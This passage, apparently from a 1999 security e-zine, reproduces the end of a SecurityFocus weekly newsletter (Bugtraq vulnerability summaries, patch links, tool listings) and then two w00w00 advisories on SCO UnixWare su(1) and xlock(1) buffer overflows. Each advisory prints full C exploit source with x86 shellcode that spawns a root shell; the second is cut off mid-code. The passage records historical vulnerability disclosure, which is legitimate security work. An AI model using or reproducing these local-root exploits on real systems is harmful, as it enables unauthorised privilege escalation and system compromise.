      Windows 3.x)
      6. NSS Narr0w Security Scanner (any system supporting perl)
      IX. SPONSOR INFORMATION - CORE SDI
      X. SUBSCRIBE/UNSUBSCRIBE INFORMATION
      
      
      I.   INTRODUCTION
      -----------------
      
      Welcome to the Security Focus 'week in review' newsletter issue 16
      sponsored by CORE SDI.
      
      http://www.core-sdi.com
      
      
      II.  BUGTRAQ SUMMARY 1999-11-15 to 1999-11-21
      ---------------------------------------------
      
      
      1. FormHandler.cgi Reply Attachment Vulnerability
      BugTraq ID: 799
      Remote: Yes
      Date Published: 1999-11-16
      Relevant URL:
      http://www.securityfocus.com/bid/799
      Summary:
      
      Any file that the FormHandler.cgi has read access to (the cgi is typically
      run as user 'nobody' on Unix systems) can be specified as an attachment in
      a reply email. This could allow an attacker to gain access to sensitive
      files such as /etc/passwd simply by modifying the form document.
      
      2. E-MailClub Buffer Overflow Vulnerability
      BugTraq ID: 801
      Remote: Yes
      Date Published: 1999-11-15
      Relevant URL:
      http://www.securityfocus.com/bid/801
      Summary:
      
      Certain versions of EmailClub, a mail server package by Admiral Systems
      Inc. are vulnerable to a remote buffer overflow. This overflow is
      exploitable via EmailClub's POP3 server which fails to perform proper
      bounds checking on the 'From:' header on incoming e-mail.
      
      
      This overflow will lead to a complete compromise of the Windows 95/98
      target machine. It may well also affect Windows NT installations in the
      same manner. It is unclear though if EmailClub run with ADMIN privileges
      under Windows NT installations.
      
      3. W4 Server Cgitest.exe Buffer Overflow Vulnerability
      BugTraq ID: 802
      Remote: Yes
      Date Published: 1999-11-15
      Relevant URL:
      http://www.securityfocus.com/bid/802
      Summary:
      
      Certain versions of the W4-Server 32-bits personal webserver by Antelope
      Software ship with a flawed script, Cgitest.exe. This compiled CGI script
      fails to perform bounds checking on user supplied data and is vulnerable
      to a buffer overflow.
      
      
      4. WebBBS login & password Buffer Overflow Vulnerability
      BugTraq ID: 803
      Remote: Yes
      Date Published: 1999-11-15
      Relevant URL:
      http://www.securityfocus.com/bid/803
      Summary:
      
      Certain versions of WebBBS by Mike Bryeans of International
      TeleCommunications contain a flaw in the initial login program. User
      supplied data via the login name and password are not bounds checked and
      can result in a buffer overflow. This leads a compromise of the system
      running WebBBS.
      
      5. Lynx Internal URL "secure" Parameter/Internal Link Verification Vulnerability
      BugTraq ID: 804
      Remote: Yes
      Date Published: 1999-11-17
      Relevant URL:
      http://www.securityfocus.com/bid/804
      Summary:
      
      Lynx generally classifies webpages as either internal or external.
      Internal webpages are those which are used for such things as
      configuration, handling downloaded files, etc.  External are webpages that
      are normally visited from a web client and are on a webserver somewhere
      "external" from the client.  To prevent authors of malicious webpages from
      compromising the internals of the client, the creators of lynx put a
      number of restrictions on what can manipulate the internal URLS.  The
      first is a hidden form value passed to internally rendered pages, called
      "secure".  Unfortunately, this value doesn't live up to its name, since it
      is based on time().  The next method is verifying whether the pages which
      contain internal URLS are allowed to or not.  This is done by comparing
      the titles of the pages being verified to what they should be (if they
      were legal).  The section of code which does this naive check is below:
      
      
                            [...]
      
                              (!strncmp(links[curdoc.link].lname,
                                       "LYNXDOWNLOAD:", 13) &&
                               strcmp((curdoc.title ? curdoc.title : ""),
                                      DOWNLOAD_OPTIONS_TITLE)) ||
                              (!strncmp(links[curdoc.link].lname,
                                        "LYNXHIST:", 9) &&
                               strcmp((curdoc.title ? curdoc.title : ""),
                                      HISTORY_PAGE_TITLE) &&
      
                            [...]
      
      
      If it is possible for an attacker (locally) to convince a user to enter a
      configuration page ('O') in lynx, the "secure" value can be obtained by
      calling utime() on the temporary file created in /tmp (which is where lynx
      creates temporary html pages).  Once the "secure" value is obtained, a
      malicious page which is titled appropriately can pass configuration values
      as hidden form variables to LYNXOPTIONS://, which will take them gladly
      and modify the configuration options of the user (for example, setting
      editor to whatever the attacker wants) silently.  There is a possibility
      that this can be exploited remotely, if the value of "secure" can be
      guessed.
      
      More vulnerabilities which are consequently exposed by this problem are
      exploitable buffer overflows in handling of some of the configuration
      options.  Known to lack bounds checking are operations on the buffers
      which store (at least temporarily) the values for options: "user agent",
      "preferred language", and "preferred charset".
      
      6. Gene6 G6 FTP Server Buffer Overflow DoS Vulnerability
      BugTraq ID: 805
      Remote: Yes
      Date Published: 1999-11-17
      Relevant URL:
      http://www.securityfocus.com/bid/805
      Summary:
      
      The G6 FTP Server, by Gene6, is vulnerable to a buffer overflow attack. If
      2000 characters are sent as the username or password, the software will
      use up all available memory and CPU time and bring the host to a halt.
      
      7. Tektronix PhaserLink Webserver Vulnerability
      BugTraq ID: 806
      Remote: Yes
      Date Published: 1999-11-17
      Relevant URL:
      http://www.securityfocus.com/bid/806
      Summary:
      
      Certain versions of the Tektronix PhaserLink printer ship with a webserver
      designed to help facilitate configuration of the device. This service is
      essentially administrator level access as it can completely modify the
      system characteristics, restart the machine, asign services etc.
      
      In at least one version of this printer there are a series of undocumented
      URL's which will allow remote users to retrieve the administrator
      password. Once the password is obtained by the user, they can manipulate
      the printer in any way they see fit.
      
      
      8. Microsoft Riched20.dll Buffer Overflow Vulnerability
      BugTraq ID: 807
      Remote: Yes
      Date Published: 1999-11-17
      Relevant URL:
      http://www.securityfocus.com/bid/807
      Summary:
      
      Riched20.dll, which Wordpad uses to parse Rich Text Forrmat files, has an
      unchecked buffer which allows arbitrary code to be executed. The code can
      be put into an .rtf file and emailed to the victim. Then if the victim
      opens the document in Wordpad, the code will be run at the same privilege
      level as the user.
      
      9. Linux syslogd Denial of Service Vulnerability
      BugTraq ID: 809
      Remote: No
      Date Published: 1999-11-19
      Relevant URL:
      http://www.securityfocus.com/bid/809
      Summary:
      
      Syslogd uses a unix domain stream socket (/dev/log) to recieve system log
      messages. Unix domain stream sockets require a connection to be made
      between client and server, meaning for each client served a separate
      process is created. It is possible to cause a denial of service by opening
      many local syslog connections in a short period of time. Unfortunately,
      more details are lacking on this vulnerability.
      
      10. Pine Environment Variable Expansion in URLS Vulnerability
      BugTraq ID: 810
      Remote: Yes
      Date Published: 1999-11-18
      Relevant URL:
      http://www.securityfocus.com/bid/810
      Summary:
      
      When pine handles email formatted with or containing HTML, urls which
      contain shell variables defined on the local machine where the client is
      running are expanded when followed.  This can cause many security
      problems, ranging from sending expanded variables to webservers in the
      form of cgi parameters (and then logged to collect information about the
      target) to possibly executing arbitrary commands on the target host
      through malicious email.  The following example was given by Jim Hebert
      <jhebert@jhebert.cx> in his post to BugTraq:
      
      
      echo 'setenv WWW www.securityfocus.com' >> .tcshrc
      source .tcshrc
      pine
      (view a link I mailed myself like: http://$WWW )
      it works, I visit securityfocus.
      
      11. Solaris rpc.ttdbserver Denial of Service Vulnerability
      BugTraq ID: 811
      Remote: Yes
      Date Published: 1999-11-19
      Relevant URL:
      http://www.securityfocus.com/bid/811
      Summary:
      
      It is possible to crash rpc.ttdbserver by using an old tddbserver buffer
      overflow exploit. This problem is caused by a NULL pointer being
      dereferenced when rpc function 15 is called with garbage. You cannot make
      rpc.ttdbserver execute arbitrary code with this vulnerability. The
      consequence of this vulnerability being exploited is a denial of service
      condition (rpc.ttdbserver).
      
      12. ProFTPD mod_sqlpw Vulnerability
      BugTraq ID: 812
      Remote: No
      Date Published: 1999-11-19
      Relevant URL:
      http://www.securityfocus.com/bid/812
      Summary:
      
      Compiling the mod_sqlpw module into ProFTPD makes it possible for local
      users to view the passwords of users who have connected to the ftp server.
      When the module is used, it writes information to wtmp. Unfortunately, it
      writes the password to wtmp where the username should be. The passwords
      can be seen when a command such as 'last' is used locally.
      
      13. ZetaMail Login DoS Vulnerability
      BugTraq ID: 813
      Remote: Yes
      Date Published: 1999-11-18
      Relevant URL:
      http://www.securityfocus.com/bid/813
      Summary:
      
      The ZetaMail mail server will crash if a username/password pair longer
      than 3500 characters is supplied by the client.
      
      14. HP JetDirect Internal Webserver Long URL DoS Vulnerability
      BugTraq ID: 814
      Remote: Yes
      Date Published: 1999-11-18
      Relevant URL:
      http://www.securityfocus.com/bid/814
      Summary:
      
      The JetDirect J3111A module is used to connect many models of HP printers
      to a network. It includes a bult-in webserver for remote printer
      administration. This server is vulnerable due to an overflowable buffer in
      the code that handles incoming URLs. If a URL longer than 256 characters
      is requested the printer will crash.
      
      
      III. PATCH UPDATES 1999-11-15 to 1999-11-21
      -------------------------------------------
      
      
      1. Vendor: SCO
      Product: UnixWare 2.1.3 & UnixWare 7.0.0 through 7.1.1
      Patch Location:
      ftp://ftp.sco.COM/SSE/sse033.ltr    (cover letter, ASCII text)
      ftp://ftp.sco.COM/SSE/sse033.tar.Z  (new binaries, compressed tar file)
      Vulnerability Patched: Multiple BIND Vulnerabilities
      BugTraq ID: 788
      Relevant URLS:
      http://www.securityfocus.com/bid/788
      Note:
      
      SCO is providing an interim patch to address this issue in the form of a
      System Security Enhancement (SSE) package.
      
      2. Vendor: Debian
      Product: Debian Linux
      Patch Location:
        Source archives:
          http://security.debian.org/dists/stable/updates/source/bind_8.2.2p5-0slink1.diff.gz
            MD5 checksum: 7e869545b7fab796e264f2ac3b726030
          http://security.debian.org/dists/stable/updates/source/bind_8.2.2p5-0slink1.dsc
            MD5 checksum: 8dd6f2726596d6d37088309e7a42fa7c
          http://security.debian.org/dists/stable/updates/source/bind_8.2.2p5.orig.tar.gz
            MD5 checksum: e910c207e3a419b1fdba646c28ee3102
      
        Alpha architecture:
          http://security.debian.org/dists/stable/updates/binary-alpha/bind_8.2.2p5-0slink1_alpha.deb
            MD5 checksum: e7eb3c2b03963338bafc3c13bdec776f
          http://security.debian.org/dists/stable/updates/binary-alpha/dnsutils_8.2.2p5-0slink1_alpha.deb
            MD5 checksum: e559e74e9b2ba8565974d5c21611a474
      
        Intel ia32 architecture:
          http://security.debian.org/dists/stable/updates/binary-i386/bind_8.2.2p5-0slink1_i386.deb
            MD5 checksum: f25811f6d69034ea64c65382e6c9717d
          http://security.debian.org/dists/stable/updates/binary-i386/dnsutils_8.2.2p5-0slink1_i386.deb
            MD5 checksum: ce8a20f23ec3246cab484776652a18a4
      
        Motorola 680x0 architecture:
          http://security.debian.org/dists/stable/updates/binary-m68k/bind_8.2.2p5-0slink1_m68k.deb
            MD5 checksum: f7e4c91d75bbd03325cfa666a3da35d7
          http://security.debian.org/dists/stable/updates/binary-m68k/dnsutils_8.2.2p5-0slink1_m68k.deb
            MD5 checksum: 388f6dbae6ce8e897dfd636e4b3f15c6
      
        Sun Sparc architecture:
          http://security.debian.org/dists/stable/updates/binary-sparc/bind_8.2.2p5-0slink1_sparc.deb
            MD5 checksum: adf299fcdc50c8db77b5b3f462633b0f
          http://security.debian.org/dists/stable/updates/binary-sparc/dnsutils_8.2.2p5-0slink1_sparc.deb
            MD5 checksum: 89d1729caf15d6b51e2e5f8b6fccf5c4
      
      Vulnerability Patched: Multiple BIND Vulnerabilities
      BugTraq ID: 788
      Relevant URLS:
              http://www.securityfocus.com/bid/788
      Note:
      
      These files will be moved into:
        ftp://ftp.debian.org/debian/dists/stable/*/binary-$arch/ soon.
      
      This version of Debian was released only for Intel, the Motorola
        680x0, the alpha and the Sun sparc architecture.
      
      3. Vendor: SuSE
      Product: SuSE Linux
      Patch Location:
      ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/thttpd-2.04-31.i386.rpm
      ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/thttpd-2.04-31.i386.rpm
      Vulnerability Patched: thttpd buffer overflow
      BugTraq ID: N/A
      Relevant URLS:
      http://www.suse.de/de/support/security/index.html
      Note:
      
      4. Vendor: RealNetworks
      Product: Realserver G2
      Patch Location:
      http://service.real.com/help/faq/servg260.html
      Vulnerability Patched: Real Server Administrator Port Buffer Overflow
      Vulnerability
      BugTraq ID: 767
      Relevant URLS:
      http://www.securityfocus.com/bid/767
      Note:
      
      5. Vendor: SuSE
      Product: SuSE Linux
      Patch Location:
      ftp://ftp.suse.com/pub/suse/axp/update/6.1/a1/syslogd-1.3.33-9.alpha.rpm
      ftp://ftp.suse.com/pub/suse/i386/update/5.3/a1/syslogd-1.3.33-9.i386.rpm
      ftp://ftp.suse.com/pub/suse/i386/update/6.1/a1/syslogd-1.3.33-9.i386.rpm
      ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/syslogd-1.3.33-9.i386.rpm
      ftp://ftp.suse.com/pub/suse/i386/update/6.3/a1/syslogd-1.3.33-9.i386.rpm
      Vulnerability Patched: Linux syslogd Denial of Service Vulnerability
      BugTraq ID: 809
      Relevant URLS:
      http://www.securityfocus.com/bid/809
      Note:
      
      
      INCIDENTS SUMMARY 1999-11-15 to 1999-11-21
      ------------------------------------------
      
      1. Re: Repeated FTP Connections (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=Pine.LNX.4.05.9911162159470.10324-100000@bean.xtdnet.nl
      
      2. Re: New network probe - tcp port 98 (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=Pine.GSO.3.96.991117082520.6605A-100000@rtfm.Stanford.EDU
      
      3. Class C UDP scans? (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=199911171613.LAA03780@beanie.Biw.COM
      
      4. firewall puzzle (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=991117173526GB.05935@weba7.iname.net
      
      5. Print servers vulnerable to Trojans? (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=3834E01E.176BC700@pacbell.net
      
      6. Probes for port 930? (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=19991119061411.29117.qmail@securityfocus.com
      
      7. UDP scans on port 31789 a.k.a "Hack'a'tack" (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=199911192031.PAA03277@disney.Biw.COM
      
      8. [INFO] mail.jtausa.com [209.39.1.226] Telnet and FTP Attempts (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=Pine.LNX.4.10.9911191022550.769-100000@idg.ceeri.ernet.in
      
      9. cracker probing 1542 (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=Pine.LNX.4.10.9911210411380.18949-100000@server1.securityinsight.com
      
      10. cracker probing 1542 (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=Pine.LNX.4.10.9911210411380.18949-100000@server1.securityinsight.com
      
      11. portmapper scaning [port 111] (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=19991121080634.29004.qmail@securityfocus.com
      
      12. snmpwalk(?) port scanning [port 161] (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=19991121081603.29168.qmail@securityfocus.com
      
      
      V. VULN-DEV RESEARCH LIST SUMMARY 1999-11-15 to 1999-11-21
      ----------------------------------------------------------
      
      1. Re: INZIDER! (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=19991117120017.14124.qmail@www61.linkexchange.com
      
      2. potential chage ovf (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=Pine.LNX.4.10.9911171458490.1476-100000@pentium.localdomain
      
      3. Re: [Fwd: Netscape mail client error]
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=Pine.LNX.4.10.9911171515330.506-100000@epr0.org
      
      4. Possible DoS attack against Microsoft SQL Server 7.0 (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=002501bf3195$ea9fe9e0$4700a8c0@kevork
      
      5. Re: vlock bug ? (fwd)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=19991118195743.C27411@willamette.edu
      
      6. Re: development of wordpad exploit (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=19991119171210.247.rocketmail@web115.yahoomail.com
      
      7. icq accounts (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=005801bf33ac$b8e57460$49a085d4@fleetwoodmac
      
      8. riched20.dll exploit (Thread)
      Relevant URL:
      http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=19991121124346.21735.qmail@hotmail.com
      
      VI.  SECURITY JOBS SUMMARY 1999-11-15 to 1999-11-21
      ---------------------------------------------------
      
      1. Account Executive #293 - New York, NY
      Reply to: Joyce Brocaglia <joyce@altaassociates.com>
      Position Requirements:
      http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-11-15&msg=19991115190951.11457.qmail@securityfocus.com
      
      2. Software Security Consultant #581 - NYC
      Reply to: Joyce Brocaglia <joyce@altaassociates.com>
      Position Requirements:
      http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-11-15&msg=19991115193259.12366.qmail@securityfocus.com
      
      3. Regional Account Executive #293 - Palo Alto, CA
      Reply to: Joyce Brocaglia <joyce@altaassociates.com>
      Position Requirements:
      http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-11-15&msg=19991115193642.12494.qmail@securityfocus.com
      
      4. Security Management Applications Product Manager 339
      Reply to: Lori Sabat <lori@altaassociates.com>
      Position Requirements:
      http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-11-15&msg=19991117210120.16184.qmail@securityfocus.com
      
      VII.  SECURITY SURVEY 1999-11-15 to 1999-11-21
      ----------------------------------------------
      
      The question for 1999-11-15 to 1999-11-21 was:
      
      Which Security conference do you think is more useful to attendees? (Bang
      for your buck)
      
      SANS 31% / 18 votes
      BlackHat 19% / 11 votes
      TISC 5% / 3 votes
      CSI 5% / 3 vote
      Chaos Communications Congress 3% / 2 votes
      Defcon 26% / 15 votes
      
      Total number of votes: 57
      
      
      VIII.  SECURITY FOCUS TOP 6 TOOLS 1999-11-15 to 1999-11-21
      --------------------------------------------------------
      
      1. SecurityFocus.com Pager
      by SecurityFocus.com
      URL: http://www.securityfocus.com/pager/sf_pgr20.zip
      Platforms: Win95/98/NT
      Number of downloads: 1747
      
      This program allows the user to monitor additions to the Security Focus
      website without constantly maintaining an open browser. Sitting quietly in
      the background, it polls the website at a user-specified interval and
      alerts the user via a blinking icon in the system tray, a popup message or
      both (also user-configurable).
      
      
      2. PingSting 1.0
      by Anthony Osborne <ao@ksrt.org> & David Goldsmith <dhg@ksrt.org>
      URL: http://www.securityfocus.com/data/tools/psting-1.0.tar.gz
      Platforms: FreeBSD, Linux and OpenBSD
      Number of downloads: 1506
      
      Pingsting is a network monitoring application that determines
      characteristics about ICMP Echo traffic. Pingsting is able to determine
      the type of client that sent an ICMP Echo packet by comparing the data
      portion of an ICMP Echo packet with known signatures.
      
      3. cgi-check99 v0.4
      URL: by deepquest URL:  http://www.deepquest.pf/
      Platforms:
      BSDI, BeOS, DOS, FreeBSD, HP-UX, IRIX, Linux, MacOS, NetBSD,
      OS/2, OpenBSD, OpenVMS, PalmOS, Solaris, SunOS, UNIX, Windows 2000,
      Windows 3.x, Windows 95/98, Windows CE and Windows NT
      Number of downloads:
      1435
      
      One of the worlds most cross platform cgi scanners, running on 37
      operating systems! Even Palmos soon! Will check for 119 of common cgi and
      other remote issues. Plus it will report you the Bugtraq ID of some
      vulnerabilities. Get the rebol interpreter at http://www.rebol.com.
      
      4. Snoot 1.3.1
      by Martin Roesch (roesch@clark.net)
      URL: http://www.clark.net/~roesch/security.html >
      Platforms: FreeBSD, HP-UX, IRIX, Linux, MacOS, NetBSD, OpenBSD and Solaris
      Number of downloads: 1129
      
      Snort is a libpcap-based packet sniffer/logger which can be used as a
      lightweight network intrusion detection system. It features rules based
      logging and can perform content searching/matching in addition to being
      used to detect a variety of other attacks and probes, such as buffer
      overflows, stealth port scans, CGI attacks, SMB probes, and much more.
      Snort has a real-time alerting capabilty, with alerts being sent to
      syslog, a seperate "alert" file, or even to a Windows computer via Samba.
      
      5. BUGS 2.0.1
      by Sylvain Martinez
      URL: http://www.asi.fr/~martinez/crypto/bugs-2.0.1.tgz
      Platforms: HP-UX, Linux, Solaris, SunOS, UNIX, Windows 2000, Windows 3.x,
      Windows 95/98 and Windows NT
      Number of downloads: 923
      
      Strong private key cryptography algorithm and applications. Multiplateform
      (UNIX and Windows). Crypt/hide/key generator. Unlimited key length, source
      code available.
      
      
      6. NSS Narr0w Security Scanner
      by Narrow NaRr0w@LeGiOn2000.cC
      URL: http://www.wiretrip.net/rfp/1/index.asp
      Platforms: Perl (any system supporting perl)
      Number of downloads: 898
      
      Narr0w Security Scanner checks for 153 remote vulnerabilities. Written in
      perl.
      
      
      IX. SPONSOR INFORMATION -
      ------------------------------------------
      
      URL: http://www.core-sdi.com
      
      CORE SDI is an international computer security research and development
      company. Its clients include 3 of the Big 5 chartered accountant firms
      for whom CORE SDI develops customized security auditing tools as well as
      several notable computer security product vendors, such as Network
      Associates. CORE SDI also has extensive experience dealing with financial
      and government contracts through out Latin and North America.
      
      X. SUBSCRIBE/UNSUBSCRIBE INFORMATION
      -------------------------------------
      
      1.  How do I subscribe?
      
        Send an e-mail message to LISTSERV@SECURITYFOCUS.COM with a message body of:
      
        SUBSCRIBE SF-NEWS Lastname, Firstname
      
        You will receive a confirmation request message to which you will have to anwser.
      
      2.  How do I unsubscribe?
      
        Send an e-mail message to LISTSERV@SECURITYFOCUS.COM from the subscribed address
        with a message body of:
      
        UNSUBSCRIBE SF-NEWS
      
        If your email address has changed email aleph1@securityfocus.com and I will manualy remove
        you.
      
      3.  How do I disable mail delivery temporarily?
      
        If you will are simply going in vacation you can turn off mail delivery without unsubscribing by
        sending LISTSERV the command:
      
        SET SF-NEWS NOMAIL
      
        To turn back on e-mail delivery use the command:
      
        SET SF-NEWS MAIL
      
      4.  Is the list available in a digest format?
      
        Yes. The digest generated once a day.
      
      5.  How do I subscribe to the digest?
      
        To subscribe to the digest join the list normally (see section 0.2.1) and then send a message to
        LISTSERV@SECURITYFOCUS.COM with with a message body of:
      
        SET SF-NEWS DIGEST
      
      6. How do I unsubscribe from the digest?
      
        To turn the digest off send a message to LISTSERV with a message body of:
      
        SET SF-NEWS NODIGEST
      
        If you want to unsubscribe from the list completely follow the instructions of section 0.2.2 next.
      
      7. I seem to not be able to unsubscribe. What is going on?
      
        You are probably subscribed from a different address than that from which you are sending
        commands to LISTSERV from. Either send email from the appropiate address or email the
        moderator to be unsubscribed manually.
      
      Alfred Huger
      VP of Engineering
      SecurityFocus.com
      
      @HWA           
      
41.0 su(1) buffer overflow local exploit
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
     http://www.security-focus.com/     

     bugtraq id  826
     object      su(1) (exec)
     class       Boundary Condition Error
     cve         GENERIC-MAP-NOMATCH
     remote      No
     local       Yes
     published
              November 25, 1999
     updated
              November 28, 1999
     vulnerable
              SCO Unixware 7.1.1
              SCO Unixware 7.1
              SCO Unixware 7.0.1
              SCO Unixware 7.0
              SCO Unixware 2.1     
              
     Certain versions of Unixware ship with a version of su(1) which is
     vulnerable to a buffer overflow attack. This attack is possible because
     su(1) fails to sanity check user supplied data, in this instance a
     username supplied on the command line. Because su(1) is SUID root
     this attack may result in root privileges.  
     
     
             
     
     SCO is providing an interim patch to address this issue in the form of a
     System Security Enhancement (SSE) package.
    
     SSE039 contains replacement binaries for each system type, and is
     available for Internet download via anonymous ftp, and from the
     SCOFORUM on Compuserve.
    
     You can download the SSE package as follows:
    
     Anonymous ftp (World Wide Web URL):
    
     ftp://ftp.sco.COM/SSE/sse039.ltr (cover letter, ASCII text)
     ftp://ftp.sco.COM/SSE/sse039.tar.Z (new binaries, compressed tar
     file)
    
     Compuserve:
    
     GO SCOFORUM, and search Library 11 (SLS/SSE Files) for these
     filenames:
    
     SSE039.LTR (cover letter, ASCII text)
     SSE039.TAZ (new binaries, compressed tar file)
    
     Checksums (sum -r):
    
     01787 3 sse039.ltr
     53627 555 sse039.tar.Z
     
     
      To: BugTraq
      Subject:[w00giving '99 #5 and w00news]: UnixWare 7's su
      Date: Thu Nov 25 1999 22:16:41
      Author: Matt Conover
      Message-ID: <Pine.LNX.3.95.991126035202.24887A-100000@cannabis.dataforce.net>
     
     
     w00w00 Security Development (WSD)
     http://www.w00w00.org/advisories.html
     
     ----------------------------------------------------------------------------
     Sorry, we've been really tied up these past 2-3 weeks and have been unable
     to write up the advisories.  We'll send three SCO advisories tonight to
     make up for it.  We should have some interesting ones within the next two
     weeks (it's really hard to find the time to write up the exploits and
     advisories).
     
     You'll noticed we jumped from #3 to #5.  w00giving advisory #4 has been
     available on http://www.w00w00.org/advisories.html for 2-3 weeks, but
     it wasn't posted to this list.  w00w00.org has had hits from 55 different
     countries as of yesterday.
     
     If you are going to send out advisories, please cc them to
     news@technotronic.com, also.  You can subscribe to it by sending
     "subscribe news" to majordomo@technotronic.com.  Technotronic is a good
     site and beginning now, you will always see our advisories/articles/code
     posted on there first (order of release: w00w00.org,
     news@technotronic.com, news groups, bugtraq).
     ----------------------------------------------------------------------------
     
     Discovered by: K2 (ktwo@ktwo.ca)
     
     The su command on SCO's UnixWare 7 has improper bounds checking on the
     username passed (via argv[1]), which can cause a buffer overflow when
     a lengthy username is passed.
     
     ----------------------------------------------------------------------------
     Exploit (by K2):
     
     // UnixWare7 /usr/bin/su local, K2, revisited Oct-30-1999
     #include <unistd.h>
     #include <stdio.h>
     #include <stdlib.h>
     #include <string.h>
     
     char shell[] =
      "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
      "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
      "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
      "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
      "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
      "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
     
     const char x86_nop=0x90;
     long nop,esp;
     long offset=DEFOFF;
     char buffer[SIZE];
     
     long get_esp() { __asm__("movl %esp,%eax"); }
     
     int main (int argc, char *argv[])
     {
         register int i;
     
         if (argc > 1) offset += strtol(argv[1], NULL, 0);
         if (argc > 2) nop += strtoul(argv[2], NULL, 0);
         else
             nop = NOPDEF;
         esp = get_esp();
     
         memset(buffer, x86_nop, SIZE);
         memcpy(buffer+nop, shell, strlen(shell));
     
         for (i = nop+strlen(shell); i < SIZE-4; i += 4)
             *((int *) &buffer[i]) = esp+offset;
     
         printf("offset = [0x%x]\n",esp+offset);
         execl("/usr/bin/su", "su", buffer, NULL);
     
         printf("exec failed!\n");
         return 0;
     }
     
     ----------------------------------------------------------------------------
     Patch:
     
     SCO is in the process of fixing a list of vulnerabilities we sent a few
     weeks ago.
     
     ----------------------------------------------------------------------------
     
     @HWA
     
42.0 xlock(1) Boundary Condition Error (local)
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   
   
     bugtraq id  825
     object      xlock(1) (exec)
     class       Boundary Condition Error
     cve         GENERIC-MAP-NOMATCH
     remote      No
     local       Yes
     published   November 25, 1999
     updated     November 28, 1999
     vulnerable
                SCO Unixware 7.0    
                
      Certain versions of Unixware ship with a version of xlock which is
     vulnerable to a buffer overflow attack. The xlock(1) program locks the
     local X display until a username and password are entered. In this
     instance a user can provide an overly long username and overflow a
     buffer in xlock(1). Given that xlock(1) runs SUID root this will result in a
     root compromise.           
     
     To:BugTraq
     Subject: [w00giving '99 #7]: UnixWare 7's xlock
     Date: Thu Nov 25 1999 22:30:43
     Author: Matt Conover
     Message-ID: <Pine.LNX.3.95.991126042944.31331D-100000@cannabis.dataforce.net>
    
    
    w00w00 Security Development (WSD)
    http://www.w00w00.org/advisories.html
    
    Discovered by: K2 (ktwo@ktwo.ca)
    
    The xlock command on SCO's UnixWare 7 has improper bounds checking on the
    username passed (via argv[1]), which can cause a buffer overflow when
    a lengthy username is passed.
    
    -----------------------------------------------------------------------------
    Exploit (by K2):
    
    // UnixWare7 /usr/bin/xlock local, K2, revisited Oct-30-1999
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    char shell[] =
     "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
     "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
     "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
     "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
     "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
     "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
    
    #define SIZE 1200
    #define NOPDEF 601
    #define DEFOFF -400
    
    const char x86_nop=0x90;
    long nop=NOPDEF,esp;
    long offset=DEFOFF;
    char buffer[SIZE];
    
    long get_esp() { __asm__("movl %esp,%eax"); }
    
    int main (int argc, char *argv[])
    {
        register int i;
    
        if (argc > 1) offset += strtol(argv[1], NULL, 0);
        if (argc > 2) nop += strtoul(argv[2], NULL, 0);
        esp = get_esp();
    
        memset(buffer, x86_nop, SIZE);
